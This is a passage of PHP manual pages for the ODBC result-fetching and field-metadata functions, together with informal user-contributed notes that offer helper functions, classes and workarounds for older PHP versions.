      $this->recorddata = 0;
   }

   function SetData( $newdata, $num_records, $query ) {
      $this->recorddata = $newdata;
      $this->recordcount = $num_records;
      $this->query = $query;
      $this->currentrow = 0;
      $this->set_eof();
   }

   function set_eof() {
      $this->eof = $this->currentrow >= $this->recordcount;
   }

   function movenext()  { if ($this->currentrow < $this->recordcount) { $this->currentrow++; $this->set_eof(); } }
   function moveprev()  { if ($this->currentrow > 0)                  { $this->currentrow--; $this->set_eof(); } }
   function movefirst() { $this->currentrow = 0; set_eof();                                               }
   function movelast()  { $this->currentrow = $this->recordcount - 1;  set_eof();                         }

   function data($field_name) {
      if (isset($this->recorddata[$this->currentrow][$field_name])) {
         $thisVal = $this->recorddata[$this->currentrow][$field_name];
      } else if ($this->eof) {
         die("<B>Error!</B> eof of recordset was reached");
      } else {
         die("<B>Error!</B> Field <B>" . $field_name . "</B> was not found in the current recordset from query:<br><br>$this->query");
      }

      return $thisVal;
   }

   function __get($field_name) {
      return $this->data($field_name);
   }
}

class odbcConnection {
   var $user;  //Username for the database
   var $pass; //Password

   var $conn_handle; //Connection handle
   var $temp_fieldnames; //Tempory array used to store the fieldnames, makes parsing returned data easier.

   function odbcConnection(){
      $this->user = "";
      $this->pass = "";
   }

   function open($dsn,$user,$pass){
      $handle = @odbc_connect($dsn,$user,$pass,SQL_CUR_USE_ODBC) or
         die("<B>Error!</B> Couldn't Connect To Database. Error Code:  ".odbc_error());
      $this->conn_handle = $handle;
      return true;
   }

   function &execute($query){
      //Create a temp recordset
      $newRS = new odbcRecordset;
      $thisData = "";

      $res = @odbc_exec($this->conn_handle,$query) or
         die("<B>Error!</B> Couldn't Run Query:<br><br>" . $query . "<br><br>Error Code:  ".odbc_error());
      unset($this->temp_fieldnames);

      $i = 0;
      $j = 0;
      $num_rows = 0;

      // only populate select queries
      if (stripos($query, 'select ') !== false) {
         while(odbc_fetch_row($res)) {
            $num_rows++;

            //Build tempory
            for ($j = 1; $j <= odbc_num_fields($res); $j++) {
               $field_name = odbc_field_name($res, $j);
               $this->temp_fieldnames[$j] = $field_name;
               $ar[$field_name] = odbc_result($res, $field_name) . "";
            }

            $thisData[$i] = $ar;
            $i++;
         }
      }

      //populate the recordset and return it
      $newRS->SetData( $thisData, $num_rows, $query );
      return $newRS;
   }
}
%>

usage is pretty simple:

<%
  $con = new odbcConnection
  $con->open("dsn","user","pass")

  $sql = "select bar from foo";
  $rs = $con->execute($sql);

  if (!$rs->eof) {
    print $rs->data("bar");
      // or //
    print $rs->bar;
  }

  while (!$rs->eof) {
    // blah blah code
    $rs->movenext();
  }
%>

Works pretty well, but I haven't thoughly tested it yet.
Code can be dl'd here:

http://www.russprince.com/odbc_functions.zip

Cheers,
Russ
Ryan (rystar_x2000 at hotmail dot com) 09-Apr-2004 06:39
Heya,

After much fiddling around with the odbc_num_rows() function, and trying to get odbc_fetch_array() to play nice with it, I decided to write this little function which will return a 2-dimensional array, in the format [rownumber][field].

The 'rownumber' array index is obviously the number of the row stored in the array.
The 'field' index is keyed to the field name on that row.

--Function--
<?

function fetch2DArray($res){
    $i = 0;
    $j = 0;
    $toReturn = "";

    while(odbc_fetch_row($res))
    {
        for ($j = 1; $j <= odbc_num_fields($res); $j++)
        {
             $field_name = odbc_field_name($res, $j);
             $ar[$field_name] = odbc_result($res, $field_name);
        }

        $toReturn[$i] = $ar;
        $i++;
    }
    return $toReturn;
}
?>

I then took this one stage further.. and wrote a whole class to deal with the odbc connection... it's a bit slap-happy, but it does work well enough.

-- Class --
<?
class odbcConnection{
   var $user;  //Username for the database
   var $pass; //Password
   var $conn_handle; //Connection handle
   var $temp_fieldnames; //Tempory array used to store the fieldnames, makes parsing returned data easier.

   function odbcConnection(){
       $this->user = "";
       $this->pass = "";
   }

       function connectDatabase($dsn_link,$user,$pass){
        $handle = @odbc_connect($dsn_link,$user,$pass,SQL_CUR_USE_DRIVER) or die("<B>Error!</B> Couldn't Connect To Database. Error Code:  ".odbc_error());
        $this->conn_handle = $handle;
        return true;
    }

    function runStoredQuery($query, $returns_results){

    if($returns_results == false){
            return false;
        }

    $toReturn = "";
        $res = @odbc_exec($this->conn_handle, "exec ".$query."") or die("<B>Error!</B> Couldn't Run Stored Query. Error Code:  ".odbc_error());
        unset($this->temp_fieldnames);
            $i = 0;
            $j = 0;

            while(odbc_fetch_row($res))
            {
                  //Build tempory
                for ($j = 1; $j <= odbc_num_fields($res); $j++)
                   {
                     $field_name = odbc_field_name($res, $j);
                     $this->temp_fieldnames[$j] = $field_name;
                      $this->temp_fieldnames[$j];
                     $ar[$field_name] = odbc_result($res, $field_name);
                   }

                $toReturn[$i] = $ar;
                $i++;
             }

     return $toReturn;
    }

    function runSQL($query,$returns_results){
    $toReturn = "";

        $res = @odbc_exec($this->conn_handle,$query) or die("<B>Error!</B> Couldn't Run Query. Error Code:  ".odbc_error());
           unset($this->temp_fieldnames);
        if($returns_results == false){
            return false;
        }

            $i = 0;
            $j = 0;

            while(odbc_fetch_row($res))
            {
                //Build tempory
                for ($j = 1; $j <= odbc_num_fields($res); $j++)
                   {
                     $field_name = odbc_field_name($res, $j);
                     $this->temp_fieldnames[$j] = $field_name;
                     $ar[$field_name] = odbc_result($res, $field_name);
                   }

                $toReturn[$i] = $ar;
                $i++;
             }

     return $toReturn;
    }

}

//And an example of how to use the class:

include("dbClass.inc");  //Where dbClass.inc is the name of the file holding the class

//Declare a new instance of the class
$dbConnection = new odbcConnection;

$dsn = "GroupWork";   //Your System DSN name to point to your database
$dbConnection->connectDatabase($dsn,"","");  //No username and password - read only access

echo"<BR><HR><B>Testing SQL</b><BR><BR>";
$query_result = $dbConnection->runSQL("SELECT * FROM Event WHERE Type = 'Sport' ORDER BY EDate ASC",true);

    if(!$query_result)
    {
        //No Results - Your Error Code Here
    }else{
        //Get the results
        $key = $dbConnection->temp_fieldnames;
        $rows = count($query_result);
        $keys = count($key);
        $i = 0;

        while($i < $rows){
            $j = 1;
            echo "Echoing Row $i:<BR>";

                while($j < $keys - 1){

                    //$query_result[row][field];
                    $result = $query_result[$i][$key[$j]];
                    $field = $key[$j];
                    echo("Field <b>'".$field."'</b> : ".$result." <BR>");

                    $j++;
                }
            echo "<BR>----<BR><BR>";
            $i++;
        }
    }
?>

Hope this was of some help. If anyone has any improvments to the class, please drop them by me.
powerstat at web dot de 26-Mar-2004 04:48
This function is badly implemented, because the fetch_array versions for all other databases are storing the values as associative AND numeric key.
This one only stores as associative key :(
Someone should really cleanup the complete database api design!
xhat at NOSPAM dot hotmail dot com 24-Mar-2004 10:46
This is a quick and dirty way to accomplish the same thing:

<?
while(odbc_fetch_row($result)) {
$var1 = odbc_result($result, "NAMEOFFIELD1");
$var2 = odbc_result($result, "NAMEOFFIELD2");
..... //as many vars as you have fields with data to capture

$array_of_results[] = compact('var1', 'var2','var3', etc, etc)
}
?>

Just turn each returned row's data into variables then use the compact().  Turns each variable name into a key and the vars value into the array value.  Makes a wonderful 2d array that you can walk easily and still use key values to get at data.


Fetch one result row into array

  • ? odbc_fetch_array
  • odbc_fetch_object ?
  • PHP Manual
  • ODBC 函数
  • Fetch one result row into array

odbc_fetch_into

(PHP 4, PHP 5, PHP 7, PHP 8)

odbc_fetch_into — Fetch one result row into array

说明

odbc_fetch_into(resource $statement, array &$array, int $row = 0): int|false

Fetch one result row into array.

参数

statement

The result resource.

array

The result array that can be of any type since it will be converted to type array. The array will contain the column values starting at array index 0.

row

The row number.

返回值

Returns the number of columns in the result; false on error.

示例

Example #1 odbc_fetch_into() examples

<?php
$rc = odbc_fetch_into($res_id, $my_array);
?>

or

<?php
$rc = odbc_fetch_into($res_id, $my_array, 2);
?>

User Contributed Notes

alvaro at demogracia dot com 05-Apr-2011 03:04
It returns FALSE if there was an error reading the row but also when there aren't more rows available.
brian m 17-Nov-2004 02:58
Here is a very simple mehod to dump SQL results into an array that can be edited and manipulated.
==============================================

//Create the array:
$row = array();
while (odbc_fetch_into($res, $row, ODBC_NUM)) {
    array_push($stuff,$row);
}

//The results are now in an array.  To display the array as an HTML table we can use the following:

foreach($stuff as $line){
    echo "<tr>\n";
    foreach($line as $field){
        echo "<td>".$field."</td>\n";
    }
}

==============================================
Using this method allows a person to control individual data elements in each row and field.  I am far more familiar with ASP and the getrows function but this is the closest equivalent that I have been able to find.

I good friend and co-worker was able to determine how to get this to work.  Thanks Robby.
php at nospamplease dot markjrubin dot com 28-Jun-2004 12:02
Regarding free at muktimedia dot com's problem.

We found a simple solution, just cast the text as ntext in your SQL statement.

SELECT cast ( field_name AS NTEXT ) AS field_name

Mark J Rubin
free at muktimedia dot com 25-Jan-2003 05:23
Problem w/ MSSQL 2000 (or 7 possibly):::::
Warning: SQL error: [Microsoft][ODBC SQL Server Driver]Invalid
Descriptor Index, SQL state S1002 in SQLGetData in ...

http://bugs.php.net/bug.php?id=18514

The above error will be seen when calling @ODBC_RESULT_ALL() on a resultset that contains a field of type 'text' (MSSQL 2K).  If you see this error in @ODBC_RESULT_ALL then surely @ODBC_FETCH_INTO() will return false when the resultset contains a field of type 'text' (MSSQL 2K) - causing headaches.

WORKAROUND : change the field type to NTEXT (SQL 2K/7) - this is preferable in many cases (except DB storage space) since NTEXT is simply Unicode Text.

I tried a workaround at http://www.phpbuilder.com/mail/php-db/2001071/0240.php but this didn't work.

It appears PHP could benefit from an update to its ODBC libraries since 'text' and 'memo' fields are often used in Win32 environments...
PHP at TeamBurke dot com dot NoSpam 15-Nov-2002 08:00
DON'T START AT ROW 0

When using odbc_fetch_into($id,$row_num,$array) don't intialize the $row_num=0.

Why... well if you do this and you have one record in the table you'll get an error... not a problem.  BUT, if you have more than one row in the table, there is no error and the first record in the table is lost.

This may seem obvious, but remember that we count many things starting from 0, so doing it here made sense in my mind.  Took quite some time to solve the problem, because I had used the same method on another page, where there were multiple row records, and that page worked fine.  I just never noticed that it failed to print the first record's information.  So you can imagine my puzzlement when the code worked on one page and not the next.
scott at abcoa dot com 02-Jul-2002 11:41
Using odbc_fetch_into() is becoming tiresome when it had to be changed in php version 4.0.5, 4.0.6 and 4.2.x.  Also, using define() function no longer work well with 4.2.x, so define() is not reliable for odbc_fetch_into().  Time on the job to keep up with the changes is ill-advised.  Turned out the better solution is to use odbc_fetch_array and not have to deal with the hassle of updating the database, web pages, etc.  It is worth the time in the long run.

--clip-- (old script)
define(CUSTOMER_ID,0);
define(CUSTOMER_NAME,1);

//$rows = 1;

if (odbc_fetch_row($result))
{
//odbc_fetch_into($result,1,&$user_detail); //php 4.0.5
//odbc_fetch_into($result,$row,$user_detail); //php 4.0.6
odbc_fetch_into($result,$user_detail,1);  //php 4.2.x
   echo $user_detail[CUSTOMER_ID];
} else {
   echo "Failed!";
}
--clip--
//#########################################
--clip-- (new script)
if (odbc_fetch_row($result))
{
   while($user_detail = odbc_fetch_array($result) ) {
      echo $user_detail[CUSTOMER_ID];
   }
} else {
   echo "Failed!";
}
--clip--

This is pretty useful when we keep adding columns to the database table.  If you combine two tables and have two columns with the same column name, then you'll need to have two seperate array, like $user_detail1 and $user_detail2, etc.  Whatever you can come up with.
matt(at)lazycat(dot)org 04-Sep-2001 06:36
Most annoyingly with PHP 4.0.6, the new "feature" regarding the requirement of the row number to be non-constant means that this code no longer works:

$row_num = 1; $row = array();
while (odbc_fetch_into($result, $row_num++, $row) {
  // Stuff
}

So if you were wondering why, that's why. This infuriated me above all other issues I've had with PHP when I upgraded to 4.0.6
Luckily the workaround is easy enough. Just use $row_num in the odbc_fetch_into() and add $row_num++ inside the while loop. But it's still very annoying! I haven't found any other functions where this is an issue..
doc at vulcanmicro dot com 26-Jun-2001 01:47
Going from php 4.0.5 to php 4.0.6, the following syntax nolonger works:
odbc_fetch_into($result,$start-1,&$fields);
In 4.0.5 it works, in 4.0.6 it produces this error:
Only variables can be passed by reference
The following lines DO work however:
$tmp=$start-1;
odbc_fetch_into($result,$tmp,&$fields);
scott at gamesonline dot com 01-Jul-1999 08:13
(Win32) When calling this function against an Access 97 table, if the second parameter is passed in as the row you wish to retrieve, it APPEARS you will keep getting the same row back, regardless of the value passed in.  Solution: Don't pass in the second parameter and everything autoincrements just fine.
vbhunt at silverfox dot com 28-Sep-1998 12:27
This function interacts with odbc_result in that it appears to increment the internal record pointer for the current query result.  Thus if you use this function and desire to have the record you just fetched available for use in odbc_result; you'll have to call odbc_fetch_result again with the current row number.  This behavior can be especially confusing if your query result contains a single record.  When this is the case, use of odbc_fetch_into appears to break odbc_result.


Fetch a result row as an object

  • ? odbc_fetch_into
  • odbc_fetch_row ?
  • PHP Manual
  • ODBC 函数
  • Fetch a result row as an object

odbc_fetch_object

(PHP 4 >= 4.0.2, PHP 5, PHP 7, PHP 8)

odbc_fetch_object — Fetch a result row as an object

说明

odbc_fetch_object(resource $statement, int $row = -1): stdClass|false

Fetch an object from an ODBC query.

参数

statement

The result resource from odbc_exec().

row

Optionally choose which row number to retrieve.

返回值

Returns an object that corresponds to the fetched row, or false if there are no more rows.

注释

Note: This function exists when compiled with DBMaker, IBM DB2 or UnixODBC support.

参见

  • odbc_fetch_row() - Fetch a row
  • odbc_fetch_array() - Fetch a result row as an associative array
  • odbc_num_rows() - Number of rows in a result

User Contributed Notes

Anonymous 04-Mar-2021 04:33
This would be so much more useful if it contained information on what the object returned contains. From var_dump() it seems just an assoc array in object form. But is there column type info, for example?
philip 21-Mar-2005 08:04
This function requires one of the following to exist: Windows, DB2, or UNIXODBC.
thorsten at rinne dot info 15-Oct-2003 02:26
odbc_fetch_object() works nice with PHP 4.3.3 under W2K with IBM DB2 V.7.2 and V.8.1:

<?php
$conn = odbc_connect($db_name, $username, $password) or die(odbc_error_msg());
$sql = "SELECT * FROM TABLE";
$result = odbc_exec($conn, $sql);
while ($rows = odbc_fetch_object($result)) {
    print $rows->COLUMNNAME;
    }
odbc_close($conn);
?>
j dot a dot z at bluewin dot ch 30-Apr-2003 01:26
hey "general at maccrafters dot com"

thank you very much for your code. it saved me time!
however i extended it a bit!
---------------------------------------------
    function __odbc_fetch_object($res)
    {
        if( function_exists("odbc_fetch_object") )
            return odbc_fetch_object($res);

        $rs = array();
        $rs_obj = false;
        if( odbc_fetch_into($res, &$rs) )
        {
            foreach( $rs as $key=>$value )
            {
                $fkey = odbc_field_name($res, $key+1);
                $rs_obj->$fkey = trim($value);
            }
        }
        return $rs_obj;
    }
---------------------------------------------
cheers, jaz
h4 at locked dot org 11-Mar-2003 06:28
my 2 cents:

function data($res) {
    $obj = new stdClass();
    $data_array = array();

    if (!odbc_fetch_into($res, $data_array)) {
        return 0;
    }

    $num_fields = odbc_num_fields($res);

    for ($i = 0;$i < $num_fields; $i++) {
        $name = odbc_field_name($res, $i + 1);
        if (!$name) {
            return 0;
        }

        $obj->{$name} = $data_array[$i];
    }

    return $obj;
}

works fine for me (PHP 4.3.1)
charlesk at netgaintechnology dot com 23-Jan-2003 10:54
I asked one of the developers to enable this function in the CVS.  I tried it and it worked.  I didnt do anything special.  I was using a Microsoft Access ODBC driver that came with my Windows XP Pro Install.

I was using the Apache web server.

Charles
general at maccrafters dot com 05-Nov-2002 11:45
Here's a bit of code I came up with tha behaves just like mysql_fetch_object()

    function odbc_fetch_object($result)
    {
        $rs=array();
        if(odbc_fetch_into($result,&$rs))
        {
            foreach($rs as $key=>$value)
            {
    $fkey=strtoupper(odbc_field_name($result,$key+1));
                $rs_obj->$fkey = trim($value);

            }
        }
        return($rs_obj);
    }

Special thanks to previous posters for giving me a starting point for this code.
kynaston at yahoo dot com 05-Sep-2002 05:55
If you're using Masoud's code in PHP4.2+, change the fifth line to:

odbc_fetch_into($result,&$rs);

(the order of arguments have changed)
Marcus dot Karlsson at usa dot net 24-Apr-2002 10:57
It' possible to get both odbc_fetch_object() and odbc_fetch_array() to work just by removing #ifdef HAVE_DBMAKER/#endif in php_odbc.h line 216 (219) and the same in php_odbc.c line 87 (90) and 1229 (1380).

I've done this sucessfully in the PHP 4.2.0 release using ODBC towards a MySQL database.

I really can't understand why the #ifdef is there from the beginning, but they do have their reasons.

These were the files i "patched"
/* $Id: php_odbc.c,v 1.120.2.1 2002/04/08 22:21:30 sniper Exp $ */
/* $Id: php_odbc.h,v 1.45.2.1 2002/03/12 02:27:47 sniper Exp $ */
masuod_a at hotmail dot com 22-Feb-2002 12:29
This function not availible in PHP 4.1.1 , you can try this :

if (function_exists(odbc_fetch_object))
 return;
function odbc_fetch_object($result, $rownumber=1) {
 $rs=array();
 odbc_fetch_into($result, $rownumber,$rs);
 foreach ($rs as $key => $value) {
   $fkey=strtolower(odbc_field_name($result, $key+1));
   $rs_obj->$fkey = $value;
 }
 return $rs_obj;
}
if you wanna use this function in a loop  you must set rownumber parameter
you can't use this function like :
 while ($myobj=odbc_fetch_object($res)) {
 ....
}


Fetch a row

  • ? odbc_fetch_object
  • odbc_field_len ?
  • PHP Manual
  • ODBC 函数
  • Fetch a row

odbc_fetch_row

(PHP 4, PHP 5, PHP 7, PHP 8)

odbc_fetch_row — Fetch a row

说明

odbc_fetch_row(resource $statement, ?int $row = null): bool

Fetches a row of the data that was returned by odbc_do() or odbc_exec(). After odbc_fetch_row() is called, the fields of that row can be accessed with odbc_result().

参数

statement

The result identifier.

row

If row is not specified, odbc_fetch_row() will try to fetch the next row in the result set. Calls to odbc_fetch_row() with and without row can be mixed.

To step through the result more than once, you can call odbc_fetch_row() with row 1, and then continue doing odbc_fetch_row() without row to review the result. If a driver doesn't support fetching rows by number, the row parameter is ignored.

返回值

Returns true if there was a row, false otherwise.

更新日志

版本 | 说明
8.0.0 | row is nullable now.

User Contributed Notes

eolscr at gmail dot com 07-Apr-2005 08:05
When I migrates from 4 to 5 took me a long day to find the solution.

The way to use it without problems

In php4:

<?php
while (odbc_fetch_row($stringsql)) {

// ...

}
?>

In php5:

<?php

odbc_fetch_row($stringsql, 0);

while (odbc_fetch_row($stringsql)) {

// ...

}

?>

Good luck


Get the length (precision) of a field

  • ? odbc_fetch_row
  • odbc_field_name ?
  • PHP Manual
  • ODBC 函数
  • Get the length (precision) of a field

odbc_field_len

(PHP 4, PHP 5, PHP 7, PHP 8)

odbc_field_len — Get the length (precision) of a field

说明

odbc_field_len(resource $statement, int $field): int|false

Gets the length of the field referenced by number in the given result identifier.

参数

statement

The result identifier.

field

The field number. Field numbering starts at 1.

返回值

Returns the field length, or false on error.

参见

  • odbc_field_scale() - Get the scale of a field to get the scale of a floating point number

User Contributed Notes

There are no user contributed notes for this page.


Get the columnname

  • ? odbc_field_len
  • odbc_field_num ?
  • PHP Manual
  • ODBC 函数
  • Get the columnname

odbc_field_name

(PHP 4, PHP 5, PHP 7, PHP 8)

odbc_field_name — Get the columnname

说明

odbc_field_name(resource $statement, int $field): string|false

Gets the name of the field occupying the given column number in the given result identifier.

参数

statement

The result identifier.

field

The field number. Field numbering starts at 1.

返回值

Returns the field name as a string, or false on error.

User Contributed Notes

anuga at anuga dot se 27-Apr-2009 12:46
I've been toying around with this for awhile to make it as simple and fast as possible.

<?php

/* Start The Connection */
if(!$odbc['connection'] = odbc_connect('DNS','USER','PASS'))
{
    exit("Connection Failed<br />\n");
}
else
{
    echo("Connected<br />\n");
}

/* Select Which Table */
$odbc['table'] = "table";

/* Fetch The Fieldnames into an Array */
if($result = odbc_exec($odbc['connection'],"select * from $odbc['table'];"))
{
    for($i = 1;$i <= odbc_num_fields($result);$i++)
    {
        $odbc['rows']['fields'][$i] = odbc_field_name($result,$i);
    }
    unset($i);
    odbc_free_result($result);
}
else
{
    exit("Error in SQL Query");
}

/* Close The Connection */
if(odbc_close($odbc['connection']))
{
    odbc_close($odbc['connection']);
}

/* Print The Array */
if(!empty($odbc['rows']))
{
    print_r($odbc['rows']);
}

?>
sica at wnet dot com dot br 05-Nov-2008 10:39
Hi hayes029, your idea was very helpful.
Here go a adaptation for select form field.
<?php
  $consulta = "select * from schema.table";
  $resposta = odbc_exec($con, $consulta);
  for($i=1; $i <= odbc_num_fields($resposta); $i++)
    echo "<option value=".odbc_field_name($resposta, $i).">".odbc_field_name($resposta, $i)."</option>";
?>
marco 14-Feb-2008 06:08
we faced the 31 char limit using cakephp dbo_odbc.php class (version 1.1.18.5850)

at the end, it calls odbc_fetch_row giving the problem (i tracked it may be due to the php implementation of a ODBCv2 model, which has hard coded 4bytes, 32 bits file names length, while ODBCv3 seems to have a separate specification of that value, fwiw)

we learned from another user (having similar problems with dbo_mssql.php class) how to workaround this problem,

we solved using inheritance, redefining the method (locally to our application) in order to
- create a "map" of the query fields (as an array) before executing it
- execute the query in a non-associative way
- after the results are returned, restore the real field names applying the previous created "map"

another way could be use the COM like:
new COM("ADODB.Connection")
which does not show the 31 chars problem but it could be slower and bound to the windows platform.
NoEgzit 22-Nov-2007 06:23
If you really need more than 31 characters here's what you can do:

open php5.x.x/ext/odbc/php_odbc_includes.h in an editor like notepad++

change 32 by a greater value in
typedef struct odbc_result_value {
    char name[32];
    char *value;
    SDWORD vallen;
    SDWORD coltype;
} odbc_result_value;

and recompile php.

I did it with char name[64] cause I have column names like "0214_1_VD_Type d'exploitation Type d'opération (Niveau 1)"  [I didn't choose this stupid name it comes from Eccairs project]
and rebuild php with the method given here http://www.php.net/manual/en/install.windows.building.php  and http://elizabethmariesmith.com/2006/11/09/
compiling-php52-on-windows-with-net-toolchain-is-it-even-possible/

with visual C++ express edition.
jezzghost 21-Feb-2006 10:32
Note that there is a known limitation with this which truncates the length of the returned field name to 31 characters without warning.
hayes029 at bama dot ua dot edu 13-Apr-2004 10:01
In search of a function that would simply return an array with the names of the fields in a result identifier, the only thing I could find was the odbc_field_name function.  So, for anyone else looking for such a function, here's the (very simple) function I wrote:

function odbc_field_names ($result) {
  for ($i=1; $i <= odbc_num_fields($result); $i++) $return_array[$i-1] = odbc_field_name($result, $i);
  return $return_array;
}

Very simple, I know, but I thought it might be helpful.
andrea dot galli at acotel dot com 29-Apr-2003 08:12
Example: function field name.

$Link_ID = odbc_connect("DSN", "user", "pass");

$query = "SELECT * FROM products";

$Query_ID = odbc_exec($Link_ID, $query);

while($field = $field_name($Query_ID ))
{
     echo("Field: $field<br />\n");
}

---------------------

function field_name($PrQuery_ID)
{
     if($Column < odbc_num_fields($PrQuery_ID))
     {
          $Column += 1;
          $FieldName = odbc_field_name($PrQuery_ID, $Column);

          return $FieldName;
     }
     else
     {
          return 0;
     }
}
aleckzandr at yahoo dot com 17-Apr-2003 12:04
Well, I've been into PHP for four hours and thanks to "my predecessors before me" (gold163, curt, et al.) I've managed the following. The first thing I try to learn with any web scripting language is to build a dynamic table from a data source. (One thing you didn't have to do gold -previous post- is build an array for the field value.) Cheers! Alex

<html>
 <head>
  <title>PHP Database Example</title>
 </head>
 <style type="text/css">
 <!--
  body {font: 10pt/12pt Tahoma, Verdana, Helvetica, sans-serif; color: indigo; margin: .25in .5in }
  table {color:Navy; background-color:AntiqueWhite; border-color:Maroon; border-style:Solid; border-width: 2px; }
  th {color: blue; font-weight: bold; }
  td {font-size: smaller; }
  .mytable {color:Maroon; background-color:White; border-color:Navy; border-style:Solid; border-width: 1px; }
  th.mytable {background-color:#C0C0C0; }
 //-->
 </style>
 <body>

 <p><?php echo date("j F, Y"); ?></p>
<?php

$db = odbc_connect("eSell22MDB","","");
$result = odbc_exec($db, "select ProductID, ProductName, Description1 from Products");

// cool function - returns table
odbc_result_all($result, "border=\"1\" class=\"def\"");

$result = odbc_exec($db, "select * from Products") or die("Select failed");

$myUtil = new Utilities();

$myUtil->standard_table($result,"mytable");

class Utilities {

     function standard_table($result,$class="")
     {
         // To format your table if you want to use cascading style sheets
         if ($class == "")
         {
             $css_table = " border=\"1\"";
             $css_tr = "";
             $css_th = "";
             $css_td = "";
         }
         else
         {
             $css_table = " class=\"$class\"";
             $css_tr = " class=\"$class\"";
             $css_th = " class=\"$class\"";
             $css_td = " class=\"$class\"";
         }

         // Create field names for table header row
         $i = 0;
         $fieldCount = odbc_num_fields($result);
         echo "  <table$css_table>\n";
         echo "   <tr$css_tr>\n";

         while ($i < $fieldCount)
         {
             $i++;
             $fieldName = odbc_field_name($result, $i);
             echo "    <th$css_th>$fieldName</th>\n";
         }
         echo "   </tr>\n";

         # Create table data rows for query result
         while (odbc_fetch_row($result))
         {
             $i = 0;
             echo "   <tr$css_tr>\n";
             while ($i < $fieldCount)
             {
                 $i++;
                 $fieldData = trim(odbc_result($result, $i));
                 if ($fieldData  == "")
                     echo "    <td$css_td>&nbsp;</td>\n";
                 else
                     echo "    <td$css_td>$fieldData</td>\n";
             }
             echo "   </tr>\n";
         }
         echo "  </table>";
     }
} // class Utilities

?>

 </body>
</html>
gold163 at lisco dot com 25-Mar-2003 09:10
Using your code, and taking it a step further, I can create a standard table from a single line of code by calling a function from my include file - the bonus is, that I can optionally provide a parameter for the name of my style sheet class - further simplifying my formatting of the table.

What synergy you find in these forums - eh?

$Conn = odbc_connect('dsn','user','pass');
$query = "SELECT * FROM yourtable";
$result = odbc_exec($Conn, $query) or die('Select failed!');

standard_table($result);

Function standard_table($result,$class='')
{
# To format your table if you want to use cascading style sheets
 if ($class == '')
 {
  $css_table = ' border=1';
  $css_tr = '';
  $css_th = '';
  $css_td = '';
 }
 else
 {
  $css_table = ' class=\"$class\"';
  $css_tr = ' class=\"$class\"';
  $css_th = ' class=\"$class\"';
  $css_td = ' class=\"$class\"';
 }

# Create field names for table header row
$i = 0;
$fCount = odbc_num_fields($result);
echo "<table$css_table><tr>";
  while ($i < $fCount)
  {
    $i++;
    $fName = odbc_field_name($result, $i);
    echo "<th>$fName</th>";
  }
echo "</tr>";

# Create table data rows for query result
$i = 0;
$fCount = odbc_num_fields($result);
while (odbc_fetch_row($result))
{
echo "<tr>";
  while ($i < $fCount)
  {
    $i++;
    $fName = odbc_field_name($result, $i);
    $job[$fName] = odbc_result($result, $i);
    echo "<td>$job[$fName]</td>";
  }
echo "</tr>";
$i = 0;
}
echo "</table>";
}
curt at digmo dot com 31-Jul-2001 06:58
I turned Jason's code into a function to roughly mimic the mysql_fetch_array function. I'm not a programmer and I've been messing with PHP less than a week, so I imagine there's a more efficient method that what I've come up with.

function odbc_fetch_array($rownum, $res)
{

$i = 0;
$fCount = odbc_num_fields($res);
odbc_fetch_row($res, $rownum);
    while ($i < $fCount)
        {
    $i++;
    $fName = odbc_field_name($res, $i);
    $myrow[$fName] = odbc_result($res, $i);
          }
$i=0;
return $myrow;
}
10-Mar-2001 04:11
Wow, I finally have something to contribute.
If you, like me, have been seeking a way to name and fill your variables with the appropriate names an values, rather than naming every variable and using odbc_result($result, 1), odbc_result($result, 2), etc...Then this little loop is for you!  It would probably be nice to use as function, but I'm sure you can do that on your own, eh?

<?php
$query = "SELECT * FROM TableName";
$result = odbc_exec($conn, $query) or die('Select failed!');
$i = 0;
$fCount = odbc_num_fields($result);

while (odbc_fetch_row($result)) {
    while ($i < $fCount) {
        $i++;
        $fName = odbc_field_name($result, $i);
        $job[$fName] = odbc_result($result, $i);
    }
    $i=0;
}
?>

This should be pretty simple code to follow, you can address your variables at any time later using the column names from your table.  For now I am addressing them with their real values and using this simply to avoid having to type out all the variable names in the top of my code.  Have fun.

Jason/ArtHacker.com


Return column number

  • ? odbc_field_name
  • odbc_field_precision ?
  • PHP Manual
  • ODBC 函数
  • Return column number

odbc_field_num

(PHP 4, PHP 5, PHP 7, PHP 8)

odbc_field_num — Return column number

说明

odbc_field_num(resource $statement, string $field): int|false

Gets the number of the column slot that corresponds to the named field in the given result identifier.

参数

statement

The result identifier.

field

The field name.

返回值

Returns the field number as a integer, or false on error. Field numbering starts at 1.

User Contributed Notes

There are no user contributed notes for this page.


别名 odbc_field_len

  • ? odbc_field_num
  • odbc_field_scale ?
  • PHP Manual
  • ODBC 函数
  • 别名 odbc_field_len

odbc_field_precision

(PHP 4, PHP 5, PHP 7, PHP 8)

odbc_field_precision — 别名 odbc_field_len()

说明

此函数是该函数的别名： odbc_field_len().

参见

  • odbc_field_scale() - Get the scale of a field to get the scale of a floating point number.

User Contributed Notes

There are no user contributed notes for this page.


Get the scale of a field

  • ? odbc_field_precision
  • odbc_field_type ?
  • PHP Manual
  • ODBC 函数
  • Get the scale of a field

odbc_field_scale

(PHP 4, PHP 5, PHP 7, PHP 8)

odbc_field_scale — Get the scale of a field

说明

odbc_field_scale(resource $statement, int $field): int|false

Gets the scale of the field referenced by number in the given result identifier.

参数

statement

The result identifier.

field

The field number. Field numbering starts at 1.

返回值

Returns the field scale as a integer, or false on error.

User Contributed Notes

There are no user contributed notes for this page.


Datatype of a field

  • ? odbc_field_scale
  • odbc_foreignkeys ?
  • PHP Manual
  • ODBC 函数
  • Datatype of a field

odbc_field_type

(PHP 4, PHP 5, PHP 7, PHP 8)

odbc_field_type — Datatype of a field

说明

odbc_field_type(resource $statement, int $field): string|false

Gets the SQL type of the field referenced by number in the given result identifier.

参数

statement

The result identifier.

field

The field number. Field numbering starts at 1.

返回值

Returns the field type as a string, or false on error.

User Contributed Notes

ted at convey dot de 15-Sep-2015 11:05
odbc_field_type seems to return the data type of the database backend, not the data types from ODBC documentation.

Example: With my Oracle backend I get data types like "CLOB" and "VARCHAR2" while ODBC only knows SQL_LONGVARCHAR for long character data...
jschwartz at the-infoshop dot com 04-Aug-2009 01:40
Quick note: as noted below, MS Access type AutoNumber comes across as type COUNTER. What I didn't see mentioned is that PHP interprets type COUNTER as a string, not an integer.

More annoying than anything else, in my particular case; but I'd guess it could bite somebody, somewhere.
jorge dot emailNOSPAM at gmail dot com 17-Jan-2007 04:21
Here is the complete list!

Access 2003 as the following teturntypes:

COUNTER  -  Autoincrement
VARCHAR  -  Text
LONGCHAR  -  Memo
INTEGER  -  Number
DATETIME  -  Date/Time
CURRENCY  -  Currency
BIT  -  TRUE/FALSE
